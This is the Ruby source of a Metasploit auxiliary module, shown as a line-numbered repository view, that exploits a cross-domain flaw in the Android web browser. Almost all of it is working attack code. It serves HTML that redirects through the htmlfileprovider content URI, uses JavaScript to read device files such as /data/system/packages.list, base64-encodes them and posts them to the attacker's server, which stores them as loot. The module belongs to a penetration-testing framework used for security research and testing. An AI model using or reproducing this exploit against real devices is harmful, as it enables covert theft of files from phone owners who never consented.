root / modules / auxiliary / gather / android_htmlfileprovider.rb @ master
History | View | Annotate | Download (4.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Auxiliary |
| 15 |
|
| 16 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 17 |
include Msf::Auxiliary::Report |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Android Content Provider File Disclosure', |
| 22 |
'Version' => '$Revision$', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits a cross-domain issue within the Android web browser to |
| 25 |
exfiltrate files from a vulnerable device. |
| 26 |
},
|
| 27 |
'Author' =>
|
| 28 |
[ |
| 29 |
'Thomas Cannon', # Original discovery, partial disclsoure |
| 30 |
'jduck' # Metasploit module |
| 31 |
], |
| 32 |
'Version' => '$Revision$', |
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Actions' =>
|
| 35 |
[ |
| 36 |
[ 'WebServer' ]
|
| 37 |
], |
| 38 |
'PassiveActions' =>
|
| 39 |
[ |
| 40 |
'WebServer'
|
| 41 |
], |
| 42 |
'DefaultAction' => 'WebServer')) |
| 43 |
|
| 44 |
register_options( |
| 45 |
[ |
| 46 |
OptString.new('FILES', [ false, "The remote file(s) to steal", |
| 47 |
'/proc/version,/proc/self/status,/data/system/packages.list' ])
|
| 48 |
], self.class)
|
| 49 |
end
|
| 50 |
|
| 51 |
def on_request_uri(cli, request) |
| 52 |
print_status("Request '#{request.method} #{request.uri}'")
|
| 53 |
selected_headers = [ 'user-agent', 'origin', 'referer' ] |
| 54 |
request.headers.each_key { |k|
|
| 55 |
next if not selected_headers.include? k.downcase |
| 56 |
print_status("#{k}: #{request.headers[k]}")
|
| 57 |
} |
| 58 |
|
| 59 |
return process_post(cli, request) if request.method == "POST" |
| 60 |
|
| 61 |
# Only GET requests now..
|
| 62 |
if request.uri =~ /\.html?$/ |
| 63 |
filename = request.uri.split('/').last
|
| 64 |
target_files = datastore['FILES'].split(',').map{ |e| |
| 65 |
"'%s'" % e
|
| 66 |
}.join(',')
|
| 67 |
|
| 68 |
upload_url = get_uri(cli) |
| 69 |
upload_url << '/' if upload_url[-1,1] != '/' |
| 70 |
upload_url << 'q'
|
| 71 |
|
| 72 |
html = <<-EOS |
| 73 |
<html> |
| 74 |
<body> |
| 75 |
<script lang=javascript> |
| 76 |
var target_files = Array(#{target_files}); |
| 77 |
var results = new Array(); |
| 78 |
function addField(form, name, value) {
|
| 79 |
var hf = document.createElement('input');
|
| 80 |
hf.setAttribute('type', 'hidden');
|
| 81 |
hf.setAttribute('name', name);
|
| 82 |
hf.setAttribute('value', value);
|
| 83 |
form.appendChild(hf); |
| 84 |
} |
| 85 |
function uploadFiles(files) {
|
| 86 |
var form = document.createElement('form');
|
| 87 |
form.setAttribute('method', 'POST');
|
| 88 |
form.setAttribute('action', '#{upload_url}');
|
| 89 |
var i = 0; |
| 90 |
for (var fn in files) {
|
| 91 |
addField(form, 'f'+i, btoa(fn)); |
| 92 |
addField(form, 'd'+i, files[fn]); |
| 93 |
i += 1; |
| 94 |
} |
| 95 |
document.body.appendChild(form); |
| 96 |
form.submit(); |
| 97 |
} |
| 98 |
for (var fn in target_files) {
|
| 99 |
fn = target_files[fn]; |
| 100 |
xh = new XMLHttpRequest(); |
| 101 |
xh.open('GET', fn, false);
|
| 102 |
xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
|
| 103 |
xh.send(); |
| 104 |
} |
| 105 |
uploadFiles(results); |
| 106 |
</script> |
| 107 |
</body> |
| 108 |
</html>
|
| 109 |
EOS |
| 110 |
|
| 111 |
print_status("Sending payload HTML ...")
|
| 112 |
send_response_html(cli, html, |
| 113 |
{
|
| 114 |
'Cache-Control' => 'public', |
| 115 |
'Content-Description' => 'File Transfer', |
| 116 |
'Content-Disposition' => "attachment; filename=#{filename}", |
| 117 |
'Content-Transfer-Encoding' => 'binary', |
| 118 |
'Content-Type' => 'text/html' |
| 119 |
}) |
| 120 |
|
| 121 |
|
| 122 |
else
|
| 123 |
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) |
| 124 |
|
| 125 |
html = <<-EOS |
| 126 |
<html> |
| 127 |
<body> |
| 128 |
<script lang=javascript> |
| 129 |
setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);
|
| 130 |
setTimeout("document.location = '#{payload_fn}.html';", 500);
|
| 131 |
</script> |
| 132 |
</body> |
| 133 |
</html>
|
| 134 |
EOS |
| 135 |
|
| 136 |
print_status("Sending initial HTML ...")
|
| 137 |
send_response_html(cli, html) |
| 138 |
|
| 139 |
end
|
| 140 |
end
|
| 141 |
|
| 142 |
def process_post(cli, request) |
| 143 |
|
| 144 |
results = {}
|
| 145 |
|
| 146 |
if request and request.body |
| 147 |
request.body.split('&').each { |var|
|
| 148 |
parts = var.split('=', 2) |
| 149 |
if parts.length != 2 |
| 150 |
print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
|
| 151 |
else
|
| 152 |
fln,fld = parts |
| 153 |
fld = Rex::Text.uri_decode(fld).unpack('m').first |
| 154 |
start = fln.slice!(0,1) |
| 155 |
if start == "f" |
| 156 |
results[fln] ||= {}
|
| 157 |
results[fln][:filename] = fld
|
| 158 |
elsif start == "d" |
| 159 |
results[fln] ||= {}
|
| 160 |
results[fln][:data] = fld
|
| 161 |
end
|
| 162 |
end
|
| 163 |
} |
| 164 |
end
|
| 165 |
|
| 166 |
results.each_key { |k|
|
| 167 |
e = results[k] |
| 168 |
fn = e[:filename]
|
| 169 |
data = e[:data]
|
| 170 |
print_good("#{fn.inspect} contains #{data.inspect}")
|
| 171 |
|
| 172 |
fn.gsub!(/[\/\\]/, '.') |
| 173 |
fn.gsub!(/^\./, '') |
| 174 |
store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn) |
| 175 |
} |
| 176 |
|
| 177 |
send_response_html(cli, "thx")
|
| 178 |
end
|
| 179 |
|
| 180 |
def run |
| 181 |
exploit() |
| 182 |
end
|
| 183 |
|
| 184 |
end
|